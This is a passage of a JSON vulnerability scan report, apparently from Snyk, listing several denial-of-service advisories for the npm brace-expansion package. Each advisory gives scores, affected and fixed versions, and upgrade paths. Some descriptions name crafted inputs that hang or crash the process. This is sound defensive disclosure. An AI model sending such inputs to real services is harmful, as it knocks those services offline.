"https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { 